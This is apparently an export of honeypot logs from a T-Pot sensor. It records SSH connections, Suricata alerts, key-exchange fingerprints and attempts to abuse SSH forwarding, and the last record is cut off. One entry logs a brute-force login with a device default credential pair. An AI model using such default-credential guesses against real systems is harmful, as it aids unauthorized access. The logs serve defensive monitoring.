30413	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:58.706531+03	2021-09-20 14:45:02.970171+03	{"_id": "fAb8AnwBvYTbRNuE4Dy6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:57772 (192.168.176.2:22) [session: 428285ae0334]", "session": "428285ae0334", "@version": "1", "protocol": "ssh", "src_port": 57772, "dest_port": 22, "timestamp": "2021-09-20T11:34:58.706531Z", "@timestamp": "2021-09-20T11:34:58.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30414	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:34:58.955547+03	2021-09-20 14:45:02.971172+03	{"_id": "fgb8AnwBvYTbRNuE4Dy6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "c3ad0caccd69", "@version": "1", "duration": 180.2827479839325, "timestamp": "2021-09-20T11:34:58.955547Z", "@timestamp": "2021-09-20T11:34:58.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
30415	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:34:58.979073+03	2021-09-20 14:45:02.973172+03	{"_id": "gQb8AnwBvYTbRNuE4jxq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:34:58.437542+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 547011092983078, "payload": "AAADzAYUfbe/xjZ/Z7R3IrNcxAQClQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57772, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:34:58.979073Z", "@timestamp": "2021-09-20T11:34:58.979Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......}...6.g.w\\".\\\\.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30416	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:00.106688+03	2021-09-20 14:45:02.974172+03	{"_id": "ggb8AnwBvYTbRNuE5Dyi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [polycom/polycom] failed", "session": "428285ae0334", "@version": "1", "password": "polycom", "username": "polycom", "timestamp": "2021-09-20T11:35:00.106688Z", "@timestamp": "2021-09-20T11:35:00.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30422	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:06.069254+03	2021-09-20 14:45:02.983172+03	{"_id": "lQb8AnwBvYTbRNuE_DwX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:63504", "session": "5844e5d6f1e2", "@version": "1", "src_port": 63504, "dest_port": 443, "timestamp": "2021-09-20T11:35:06.069254Z", "@timestamp": "2021-09-20T11:35:06.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30417	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:00.85297+03	2021-09-20 14:45:02.976172+03	{"_id": "gwb8AnwBvYTbRNuE5zxd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.20.123.149", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 63195, "timestamp": "2021-09-20T11:35:00.852970", "@timestamp": "2021-09-20T11:35:00.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30418	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:00.851929+03	2021-09-20 14:45:02.978173+03	{"_id": "iQb8AnwBvYTbRNuE6DyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.21.61.9352151109.199.241.180'", "session": "5844e5d6f1e2", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.21.61.9352151109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:35:00.851929Z", "@timestamp": "2021-09-20T11:35:00.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30419	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:35:01.374176+03	2021-09-20 14:45:02.979142+03	{"_id": "igb8AnwBvYTbRNuE6DyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "428285ae0334", "@version": "1", "duration": 2.6649489402770996, "timestamp": "2021-09-20T11:35:01.374176Z", "@timestamp": "2021-09-20T11:35:01.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30420	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:35:01.016586+03	2021-09-20 14:45:02.981171+03	{"_id": "jwb8AnwBvYTbRNuE6jw7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.21.61.9352151109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:35:00.682877+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1908307420015485, "payload": "AAAAVC4eAAAAIGixfIz4WbGnssxFT/KLtvIJKLIcxEgOK9+2oHtcVoMT5ovb0bMyOJgI3BOZY0/QI9nYGJp+P2giuOtDmi9676GWkk6GJfSWv80ZkkfJ6Q==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63195, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:35:01.016586Z", "@timestamp": "2021-09-20T11:35:01.016Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... h.|..Y....EO.....(...H.+...{\\\\V.......28.....cO.#....~?h\\"..C./z....N.%......G.."}}	1	\N	\N	alert	\N	\N
30421	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:01.525838+03	2021-09-20 14:45:02.982173+03	{"_id": "kAb8AnwBvYTbRNuE7Dx0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "1.1.1.1", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 1.1.1.1:53 from 127.0.0.1:63250", "session": "5844e5d6f1e2", "@version": "1", "src_port": 63250, "dest_port": 53, "timestamp": "2021-09-20T11:35:01.525838Z", "@timestamp": "2021-09-20T11:35:01.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30423	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:05.89959+03	2021-09-20 14:45:02.984164+03	{"_id": "lgb8AnwBvYTbRNuE_DwX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b\\"\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03P9|G#\\\\xbdV\\\\x9a3\\\\x83\\\\r~DQ\\\\x87\\\\xbf\\\\xd3\\\\xba\\\\xb5\\\\x80\\\\n\\\\xce\\\\xf3\\\\xc6\\\\xe7\\\\xe0\\\\x98\\\\xee\\\\xbd\\\\xd4\\\\xa4\\\\x98 \\\\xaa\\\\xe3_\\\\xa6\\\\xc9\\\\x86\\\\xdcv\\\\xa9,9\\\\xb7\\\\xfbL\\\\xd3\\\\x92e\\\\x1f\\\\xd4T^,\\\\x1f\\\\xe5\\\\xcc\\\\xacD2\\\\xef\\\\xc3g\\\\xff\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\xde\\\\xe9\\\\xbb;F\\\\t3\\\\xe1\\\\x99@?(\\\\xa9<\\\\xa0\\\\xe1E2ou\\\\xfa\\\\x1f\\\\xfd\\\\x12\\\\xb8@N'I\\\\xc9\\\\x9d|\\\\x00\\\\x17\\\\x00A\\\\x04hI\\\\x96\\\\xfb\\\\xbd=\\\\xc5K\\\\x07\\\\xbb\\\\x91\\\\x8f\\\\xf3\\\\xbd\\\\xd2\\\\xf8\\\\x1d\\\\xe2\\\\\\\\o\\\\x14\\\\xcc\\\\xe2S\\\\xf7\\\\x16\\\\xc4\\\\xacT>\\\\xba&\\\\xd1yf9e\\\\xdcL#\\\\xd7\\\\xf2Nq\\\\xa7D\\\\xa8\\\\xef\\\\x92\\\\xee\\\\xdf\\\\x8e\\\\xe2 \\\\xbfib\\\\xd8lP\\\\xe4\\\\xa3,\\\\n\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\"", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to 213.174.157.83:443 with data b\\"\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03P9|G#\\\\xbdV\\\\x9a3\\\\x83\\\\r~DQ\\\\x87\\\\xbf\\\\xd3\\\\xba\\\\xb5\\\\x80\\\\n\\\\xce\\\\xf3\\\\xc6\\\\xe7\\\\xe0\\\\x98\\\\xee\\\\xbd\\\\xd4\\\\xa4\\\\x98 \\\\xaa\\\\xe3_\\\\xa6\\\\xc9\\\\x86\\\\xdcv\\\\xa9,9\\\\xb7\\\\xfbL\\\\xd3\\\\x92e\\\\x1f\\\\xd4T^,\\\\x1f\\\\xe5\\\\xcc\\\\xacD2\\\\xef\\\\xc3g\\\\xff\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\xde\\\\xe9\\\\xbb;F\\\\t3\\\\xe1\\\\x99@?(\\\\xa9<\\\\xa0\\\\xe1E2ou\\\\xfa\\\\x1f\\\\xfd\\\\x12\\\\xb8@N'I\\\\xc9\\\\x9d|\\\\x00\\\\x17\\\\x00A\\\\x04hI\\\\x96\\\\xfb\\\\xbd=\\\\xc5K\\\\x07\\\\xbb\\\\x91\\\\x8f\\\\xf3\\\\xbd\\\\xd2\\\\xf8\\\\x1d\\\\xe2\\\\\\\\o\\\\x14\\\\xcc\\\\xe2S\\\\xf7\\\\x16\\\\xc4\\\\xacT>\\\\xba&\\\\xd1yf9e\\\\xdcL#\\\\xd7\\\\xf2Nq\\\\xa7D\\\\xa8\\\\xef\\\\x92\\\\xee\\\\xdf\\\\x8e\\\\xe2 \\\\xbfib\\\\xd8lP\\\\xe4\\\\xa3,\\\\n\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x0